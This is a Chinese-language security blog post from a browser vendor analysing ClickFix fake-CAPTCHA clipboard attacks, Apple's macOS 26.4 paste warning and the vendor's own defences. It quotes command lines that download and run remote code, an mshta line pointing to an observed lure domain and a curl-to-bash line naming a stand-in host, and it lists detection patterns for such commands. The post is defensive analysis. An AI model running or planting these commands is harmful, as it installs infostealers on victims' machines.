返回所有文章
發佈於 · 作者 Renaud Deraison

剪貼簿就是那把利刃——ClickFix 把每一位防守者逼到哪裡

一個假冒的 CAPTCHA 把一行 PowerShell 指令寫進剪貼簿。使用者按下 Win+R 然後貼上。沒有沙箱逃逸、沒有零時差、也不需要任何已簽章的執行檔——人類本身就是那把利刃。這是我們今天針對它出貨的東西、現在還存在的缺口,以及 Apple 在 macOS 26.4 裡做對了什麼、又錯在哪裡。

一個網頁假裝是 CAPTCHA。當使用者在讀「我不是機器人」這幾行說明時,這個網頁在背地裡悄悄地把一行 PowerShell 指令寫進剪貼簿。然後它要使用者按下 Win+R 並貼上,「以便完成驗證」。人類就是那把利刃。這就是 ClickFix,而它真的很難擋——不是因為它巧妙,而是因為它繞過了幾乎瀏覽器原本被設計用來提供的每一層防禦。

在 2026 年 4 月 9 日,Rapid7 觀察到一位使用者造訪了一個看起來像是 Anthropic Claude 桌面程式下載頁的網站。這個頁面要求他們「驗證自己是人類」。當他們點下按鈕時,這個頁面把以下這串字放到剪貼簿上:

mshta https://download-version.1-5-8.com/claude.msixbundle

然後它告訴他們按下 Win+R 並貼上。使用者照做了。mshta.exe 是一支用來執行 HTML Applications 的 Windows 執行檔,二十多年來隨著每一個版本的作業系統一起出貨。mshta 所執行的,是一條最後在主機上跑起一支資訊竊取器作結的鏈。沒有任何瀏覽器的臭蟲被碰到。沒有任何程式碼簽章檢查被繞過。沒有任何提權提示出現。瀏覽器完全照著使用者要求的去做;作業系統也完全照著使用者要求的去做。攻擊者只是透過它們兩個去提出了要求,而剪貼簿就是那條導線。

四天後,Booking.com 揭露它的飯店合作夥伴網路遭到同一手法攻擊——微軟將其追蹤為 Storm-1865——最後的載荷是 XWorm 和 VenomRAT。微軟本身,在更早的一篇分析裡,把 2025 年初始存取入侵當中百分之四十七歸因於這一種手法。Booking.com 的合作夥伴並沒有點擊惡意附件。他們沒有下載執行檔。他們按下 Win+R 並貼上了某串字。今天,要得手所需要的就只有這些。

為什麼 ClickFix 行得通。

這條攻擊鏈可以寫在一張餐巾紙上。

瀏覽器內人類端主機上1假冒 CAPTCHA「我不是機器人」和其他的長得一模一樣2寫入剪貼簿navigator.clipboardmshta https://...3使用者按下 Win+R或在 macOS 上開 Terminal「以驗證你是人類」4貼上Ctrl+VEnter5主機執行載荷資訊竊取器、RAT防禦層可以介入的位置第 1 階段 · 網址/信譽過濾——被嶄新的網域、錯字搶註、受信任 SaaS 子網域所擊敗第 2 階段 · 掛鉤 navigator.clipboard,把寫入內容比對 shell 指令樣式,警告或封鎖第 3-4 階段 · 主機作業系統檢視被貼進 Terminal 或執行對話框的內容——macOS 26.4 部分做到了第 5 階段 · EDR、AMSI、防毒——最晚才到,對上的是使用者自己選擇要執行的那行指令
ClickFix 的殺戮鏈。那個頁面是一個正常的網頁。剪貼簿是一個正常的剪貼簿。Win+R 是一組正常的組合鍵。mshta.exe 是一支正常的 Windows 公用程式。這整條鏈裡沒有任何一環是古典意義上的漏洞利用——真正的利用,是由站在中間的那位人類,依序執行了一連串平凡的操作。

人們平常會想到的每一種防禦,等到載荷真正執行的時候,都已經輸了。網址信譽過濾?攻擊者昨天才註冊 download-version.1-5-8.com。瀏覽器沙箱?這個載荷根本沒打算逃出瀏覽器——它只是請人類替它把事辦了。執行檔的程式碼簽章檢查?mshta.exe 是一支由微軟簽章的執行檔。提權提示?mshta 不需要提權就能下載並執行一個 HTA。端點代理程式?它看到的是父程序 explorer.exe 由一次使用者按鍵觸發,這和使用者在自己電腦上跑任何其他東西,根本分不出來。

ClickFix 把這個產業一直沒能打上補丁的那一塊——坐在電腦前的那個人——拿過來,把他變成執行階段。這就是為什麼它現在無所不在。Storm-1865 行動用的是一個 Booking.com 品牌包裝的誘餌。Rapid7 的案例用的是一個 Claude 安裝程式的誘餌。Facebook 創作者帳號盜用已經用同一招用了好幾個月。誘餌每週在換;機制則不變。

同一種攻擊,瞄準 macOS。

Rapid7 擷取到的案例、Booking.com 的資料外洩、以及 Facebook 創作者帳號遭盜用事件,目標都是 Windows 主機。這是本週資料裡真實存在的偏差——此刻 ClickFix 這個產業,主要就是一個 Windows 產業——但這是市場的屬性,不是攻擊的屬性。ClickFix 是一種剪貼簿加鍵盤的手法。它不在乎鍵盤接在哪一種作業系統上。

在 macOS 上,替換動作是機械式的。Win+R 變成 Cmd+Space 和 Terminal——或者最近,變成 Script Editor。那行 mshta 指令變成 curl -s https://evil.example | bash,或一行 osascript -e,或一段 base64 編碼的 AppleScript do shell script。假的 CAPTCHA 還是假的 CAPTCHA;剪貼簿的寫入還是剪貼簿的寫入;網頁那段「驗證你是人類」的腳本,只改了兩句話。Bitdefender 記錄過今年稍早針對 Mac 投放 Atomic Stealer 的 ClickFix 誘餌,而——就像我們等一下會講到的——Apple 之所以覺得有必要在 macOS 26.4 裡出貨一項平台層級的回應,這件事本身就是最清楚不過的訊號:Mac 版本絕不是假設性的。

對 Bromure 來說,這是最吃重的一個情境。Bromure 跑在 macOS 上。我們出貨給的每一位使用者,在成為其他任何身分之前,都先是一位 macOS 上的 ClickFix 目標。當我們在下一節談剪貼簿隔離和 phishing-guard 時,我們談的不是 Windows 世界的一個有趣現象——我們談的是一種已經實際落在我們使用者那台作業系統上的手法,而他們選用的那個平台,正在不完美地試著替它打上補丁。

Bromure 面對 ClickFix 的誠實立場。

我們很想告訴你 Bromure 防得住 ClickFix。它防不住。Bromure 做的事是:把一個先前沒人認領的問題——剪貼簿作為一條由攻擊者操控、連通瀏覽器與主機的導線——收到兩層我們正在積極打磨的防禦後面,一層是架構上的,一層是外掛式的。兩者都不是完成版的答案。兩者都比什麼都沒有好。以下就是它們今天的實際狀態。

第一層——把剪貼簿隔離當成選項,而不是預設。

Bromure 把每一個分頁都跑在它自己可隨時丟棄的 Linux 虛擬機裡。頁面在那裡面跑;瀏覽器在那裡面跑;假 CAPTCHA 從 navigator.clipboard 發出的寫入也發生在那裡面。問題是:這台 VM 的剪貼簿是接到哪裡去的。今天預設的做法,是把它接到 macOS 主機的剪貼簿——因為大多數時候,剪貼簿的用途,就是把一個網址從瀏覽器複製到「訊息」裡、或把一組密碼從 1Password 貼到登入表單。預設把這件事弄壞,會讓這個瀏覽器變得難以使用。

完全隔離模式把這個預設翻過來。在完全隔離模式下,VM 與 macOS 主機之間的剪貼簿橋梁被切斷。分頁裡的頁面仍然可以寫入自己那台 VM 的剪貼簿——而使用者如果真的想要,也仍然可以在那台 VM 的 Linux 終端機裡貼上——但使用者貼進 Win+R、或貼進 Terminal.app、或貼進 Spotlight 的那個主機剪貼簿,是一個不同的剪貼簿。頁面寫入的那串 mshta https://... 永遠到不了主機的貼上緩衝區。ClickFix 這條鏈,在第 2 階段就斷了頭。

預設 · 剪貼簿共享開啟為可用性而選——大多數人需要主機 ↔ 分頁的複製/貼上分頁 VM · Linux假冒 CAPTCHA 頁面navigator.clipboard.writeText(…)mshta https://…macOS 主機mshta https://…主機剪貼簿執行對話框載荷執行剪貼簿橋梁(開)完全隔離 · 剪貼簿共享關閉選擇加入——你會失去跨界線的複製/貼上便利分頁 VM · Linux假冒 CAPTCHA 頁面navigator.clipboard.writeText(…)mshta https://…僅限 VM 剪貼簿macOS 主機(未改變)主機剪貼簿執行對話框沒東西可貼已切斷完全隔離是一個開關,而不是預設。我們不會在這件事上裝傻。
兩種姿態、同一個分頁、同一個頁面。左邊是剪貼簿共享開啟(今天的預設):頁面的寫入落進主機剪貼簿,使用者的 Win+R 貼上就會執行它。右邊是完全隔離:VM 剪貼簿和主機剪貼簿是兩個不同的緩衝區,攻擊字串永遠不會跨過去。代價是真的——從分頁複製一個網址到你的通訊軟體這件事,不再能用。

對完全隔離誠實的評語:對想要它的使用者而言,它是對 ClickFix 一個乾淨的架構層答案;但它也是一筆可用性上的稅,而這筆稅我們不願意當作預設全體出貨。大多數人一天會在瀏覽器和自己的筆記、通訊軟體、或正在處理的文件之間複製貼上幾十次。把這條路徑變成「它是關的,請自己去設定裡找回複製貼上」,就表示大多數使用者會在一週之內把它再打開——然後我們就同時教會了他們剪貼簿共享的價值、和資訊安全的成本。這不是我們希望他們學到的一課。

所以完全隔離是為那位想要它的使用者準備的、有文件說明的選項,而它是這個架構對 ClickFix 能說出來最有力的一句話。它不是大多數使用者會開著用的東西。

第二層——反釣魚外掛的今天與明天。

對預設姿態——剪貼簿橋梁開啟——來說,我們在 Bromure 的反釣魚元件(我們稱之為 phishing-guard)裡出貨了第二道防線。它做的事值得一提,因為業界大多數人並沒有這麼做,也因為我們認為它是正確答案的起點,而不是終點。

phishing-guard 在分頁 VM 的 Chromium 裡掛鉤三個剪貼簿寫入的進入點:現代的 navigator.clipboard.writeTextclipboard.write API,以及舊頁面仍在使用的舊版 document.execCommand('copy') 路徑。每當一個頁面把文字寫入剪貼簿,phishing-guard 都會比主機剪貼簿更早看到它。

接著它會平行地跑兩組測試。第一組,把剪貼簿內容比對一組 shell 指令的正規表達式——我們維護了十條,依照實際在外流通的載荷調校:powershell 呼叫、mshta https:// 樣式、curl ... | bash 管道、base64 編碼的 PowerShell 區塊、certutil -urlcacherundll32 小把戲,還有其他幾條。第二組,掃描已渲染的頁面,尋找那種教使用者去執行剪貼簿內容的指示樣式——共十三條,多語言的——像是「按下 Win+R」、「開啟 Terminal」、「貼上以驗證你是人類」,分別以英文、法文、西班牙文、德文、葡萄牙文、義大利文、荷蘭文、波蘭文、日文、韓文、中文、阿拉伯文和俄文出現。

當兩者同時觸發——一個長得像 shell 指令的剪貼簿寫入,配上一個在用文字教唆使用者去貼上的頁面——phishing-guard 會把候選載荷送去給一個語言模型做裁決,如果裁決為惡意,就在瀏覽器內跳出警告。

即使這一切如設計那樣運作,仍有兩個誠實的限制:LLM 呼叫有延遲成本,所以動作快的使用者有可能在裁決回來之前就按下貼上;而且正規表達式加頁面文字這一組,能抓到 ClickFix 的形狀,卻抓不到所有變體(一個用嵌入影片而非文字口頭指示使用者的頁面,今天會從樣式掃描的縫裡溜過去)。我們正在積極強化封鎖點、並縮小偵測窗口。這些是有已知答案的工程問題;我們只是還沒做完。

Apple 在 macOS 26.4 出貨了什麼——以及它的不足之處。

在 2026 年 3 月 24 日,Apple 把同一個形狀的想法出貨到作業系統層級。macOS 26.4 為第一方的 Terminal.app 加上了一個貼上警告對話框:當使用者貼進一個 Terminal 視窗時,macOS 會檢視剪貼簿,並在某些條件下顯示一個阻擋式對話框,上面寫著「可能有惡意程式。已封鎖貼上。你的 Mac 並未受到傷害。詐騙者經常鼓勵使用者把文字貼進 Terminal,試圖傷害你的 Mac 或危及你的隱私。」這是一個好的一步,而我們很高興 Apple 做了這件事。我們也覺得有必要精確地說清楚,它是什麼、又不是什麼。

macOS 26.4 貼上警告——涵蓋範圍已涵蓋Terminal.appmacOS 26.4 以上注意 · 每個來源程式只會觸發一次警告;一位曾點過「永遠允許」的回訪使用者,又回到了原點。好,但不夠。未涵蓋其他終端機iTerm2AlacrittyWarpKitty、WezTerm、…這個警告長在Terminal.app 裡,不是 macOS 裡。未涵蓋Script EditorAppleScript / osascriptJamf Threat Labs 指出Atomic Stealer 的操作者在 26.4 發佈數日內就轉向了Script Editor。已出現繞過。未涵蓋WindowsWin+R、mshta、PowerShell大多數 ClickFix誘餌瞄準的是Windows 主機。錯的作業系統。
Apple 在 macOS 26.4 的貼上警告涵蓋了什麼、又沒涵蓋什麼。第一欄是它被設計用來對付的攻擊面——Safari 寫入一行 shell 指令、使用者貼進 Terminal.app。其他欄則是攻擊者已經在轉向的場面:非 Apple 的終端機、Script Editor、以及整個 Windows——而大多數 ClickFix 一開始就落在 Windows 上。

有三個限制值得點名。第一個是這個警告長在 Terminal.app 裡,而不是 macOS 的貼上緩衝區子系統裡。iTerm2、Alacritty、Warp、Kitty,以及 Mac 開發者社群實際在用的每一款終端機,都沒有繼承這項檢查。這不是 Apple 的疏忽——這是一個範圍上的取捨——但它意味著:最有可能去貼一行陌生 shell 指令的那群使用者,也就是擁有自己習慣終端機的工程師,正好是這項功能保護不到的使用者群。

第二個是 Script Editor。在 2026 年 4 月 8 日,Jamf Threat Labs 報告指出,Atomic Stealer 的操作者已經把他們的 ClickFix 社交工程腳本,從*「開啟 Terminal 並貼上」改成了「開啟 Script Editor 並貼上」,因為 Script Editor 會透過 do shell script 執行 AppleScript 和 shell 指令,不在 26.4 這個警告的涵蓋範圍內。Jamf 的 Thijs Xhaflaire 把話說得不能再清楚:「藉由把執行從 Terminal 挪到 Script Editor,攻擊者保留了熟悉的投遞機制,同時悄悄地改變了這條指令究竟是怎麼跑、又在哪裡跑。」*整個產業花了兩週就繞過了這個緩解措施。這不是對 Apple 的批評;這是對問題本身形狀的批評。你沒辦法靠替一個目標打補丁來解決 ClickFix。

第三個限制最大,也最少被討論:macOS 26.4 保護的是 Mac 使用者。真正的 ClickFix 產業——Booking.com 事件背後的 Storm-1865 聯盟結構、假冒 Claude 安裝程式的行動、以及 2025 年百分之四十七初始存取數字的絕大多數——出貨的是 Windows 載荷、用的是 Win+R、呼叫的是 mshta 和 PowerShell,落地的是 Windows 主機。Apple 可以把 Terminal.app 保護得完美無缺,卻一根指針都推不動那片艦隊。對於你今年會讀到的那些 ClickFix 事後分析來說,擁有那個貼上警告的作業系統,通常不會是受害者所跑的那一個。

Apple 做對了什麼

把剪貼簿到 shell 指令這條路徑,當成一條與安全相關的貼上路徑來看待,並在作業系統層級去檢視它——讓系統上的每一個程式都能得到好處。這個框架是對的。那個一次性提示、那個品牌化的對話框、那句「你的 Mac 並未受到傷害」的措辭——全都做得很好。這是平台層級第一次承認剪貼簿是一條威脅通道。

為什麼它不是完整答案

檢查點在 Terminal.app 裡,不在貼上緩衝區子系統裡。它是一次性的。Script Editor 已經是一條繞過。而這項功能被設計去保護的受害者族群,只佔 ClickFix 實際針對的族群的一小部分。Apple 出貨了一個好功能。它沒有出貨一個解決方案,而我們也不認為 Apple 聲稱自己做到了。

瀏覽器獨有的著力點

瀏覽器看得到那個正在寫入剪貼簿的頁面,也看得到那個頁面用來教唆使用者的文字。作業系統只看得到這條鏈的末端。兩個獨立訊號——剪貼簿寫入的位置,以及頁面上的社交工程文字——結合起來形成一個作業系統單獨沒有辦法拿到的裁決。這就是瀏覽器應該分擔一部分這份工作的論據。

瀏覽器搆不到的地方

一旦使用者貼進一個真正的 Terminal、一個真正的執行對話框、一個真正的 Script Editor,載荷就已經跨出了瀏覽器看得到的任何地方。主機必須分擔自己那份責任。macOS 26.4 就是主機在它選擇涵蓋的那些地方,分擔了自己的那一份。Windows 也得這樣做。這是一個需要兩端一起做的問題。

我們願意為之辯護的論點。

二十年來,這個產業面對社交工程攻擊的回應,都是海報。「不要點可疑連結。」「小心釣魚嘗試。」「貼上前三思。」當一位使用者中了 ClickFix,公開面對的回應通常是某個版本的使用者應該更懂事——文章解釋怎麼看出假 CAPTCHA、訓練課程、一年一度的資安意識測驗、一層層禮貌地把責任往下推。這一切底下的假設是:釣魚,歸根究柢,是一個人的問題,而技術這一層已經盡了它能盡的力。

我們不相信這套。我們相信 ClickFix,以及每一種其他的剪貼簿加鍵盤社交工程手法,是一個技術問題,而技術這一層一直拒絕把它認領下來。剪貼簿是一條未經身份驗證的訊息匯流排,連通任何一個網頁和作業系統上任何一支其他程式。執行對話框會接受任何字串。Terminal 會執行落進它裡面的任何東西。這些設計,沒有一個是針對剪貼簿現在實際面對的那位攻擊者去審計過的。它們沒有一個會自己修好自己。

正確的回應是工作——瀏覽器內部、作業系統內部、生態系合作內部——讓剪貼簿到 shell 指令這條路徑,成為機器願意替使用者介入的地方。macOS 26.4 是一步;Windows 需要自己的那一步。phishing-guard 是一步;硬性封鎖剪貼簿寫入、出貨剪貼簿專屬的警告取代通用的轉圈圖示、並把裁決延遲壓到能勝過一次快速貼上——這些是接下來的步驟。完全隔離模式是一步;讓它在日常中更好相處,是再下一步。

這些沒有一條是海報。沒有一條要求使用者更快認出一個假 CAPTCHA、或「停在連結上確認」、或為了開一個瀏覽器分頁而變成資安專家。我們認為人們不應該為了開一個瀏覽器分頁而必須變成資安專家。技術把這件事搞壞了。技術應該把它修好。

Bromure 對 ClickFix 的產品路線圖,正是這份信念的形狀。我們今天出貨的是一份有兩支槓桿的部分防禦——一支強的,代價是可用性;另一支較柔,但它正以我們能給它的最快速度長出利齒。明年我們出貨的會更鋒利。而我們會繼續用像這一篇的文章,把功能做到什麼、沒做到什麼說清楚,因為另一種選擇——出貨一張乾淨的行銷頁面、在「ClickFix」旁邊打上一個勾——正是把這個產業推到「Storm-1865 可以讓 2025 年百分之四十七的初始存取看起來毫不費力」這種處境的那類東西。